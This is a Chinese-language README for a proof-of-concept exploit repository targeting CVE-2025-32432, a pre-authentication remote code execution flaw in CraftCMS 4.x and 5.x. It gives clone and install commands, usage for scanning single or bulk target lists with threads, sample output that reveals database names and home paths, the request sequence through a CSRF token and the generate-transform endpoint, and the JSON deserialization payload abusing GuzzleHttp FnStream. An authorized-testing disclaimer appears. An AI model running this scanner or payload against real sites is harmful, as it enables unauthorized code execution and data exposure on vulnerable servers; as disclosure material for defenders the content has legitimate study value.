
本仓库包含针对 CVE-2025-32432 的概念验证利用脚本,该漏洞是一个影响 CraftCMS 4.x 和 5.x 版本的预认证远程代码执行(RCE)漏洞。漏洞存在于 CraftCMS 的资源变换生成功能中。
该利用脚本通过以下方式自动化检测和验证漏洞:
⚠️ 本工具仅用于教育和授权的安全测试目的。
仅对您拥有明确许可测试的系统使用此工具。未经授权对系统进行测试是非法且不道德的。
# Clone the repository
git clone https://github.com/Sachinart/CVE-2025-32432.git
cd CVE-2025-32432
# Install required dependencies
pip install -r requirements.txt
扫描单个目标:
python3 craftcms_rce.py -u example.com
从文件中扫描多个目标(每行一个 URL):
python3 craftcms_rce.py -f urls.txt -t 10
其中 -t 指定要使用的线程数(默认为 5)。
-u, --url Single URL to test
-f, --file File containing URLs to test (one per line)
-t, --threads Number of threads (default: 5)
-h, --help Show help message and exit
脚本将结果输出到控制台,并将易受攻击的目标以 CSV 格式保存到 vulnerable.txt,包含以下列:
示例控制台输出:
[*] Testing single target: https://example.com
[*] Starting scan with 5 threads
[+] VULNERABLE: https://example.com
CRAFT_DB_DATABASE: example_db
HOME Directory: /home/example
=== SCAN SUMMARY ===
Total URLs scanned: 1
Vulnerable sites: 1
Detailed results saved to vulnerable.txt
该漏洞利用了 CraftCMS 中的反序列化问题。利用过程如下:
/index.php?p=admin/dashboard 发送 GET 请求以获取 CSRF 令牌/index.php?p=admin/actions/assets/generate-transform 发送 POST 请求,包含特制的 JSON 负载GuzzleHttp\Psr7\FnStream 类导致任意代码执行phpinfo() 并提取特定系统信息来验证利用成功该利用利用了资源变换生成过程中的不安全反序列化。易受攻击的代码路径允许攻击者注入一个自定义 PHP 对象,该对象被反序列化,从而导致任意代码执行。
负载的关键组成部分:
{
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as session": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [[]],
"_fn_close": "phpinfo"
}
}
}
欢迎贡献、提交问题和功能请求!请随意查看问题页面。
本项目采用 MIT 许可证 - 详见 LICENSE 文件。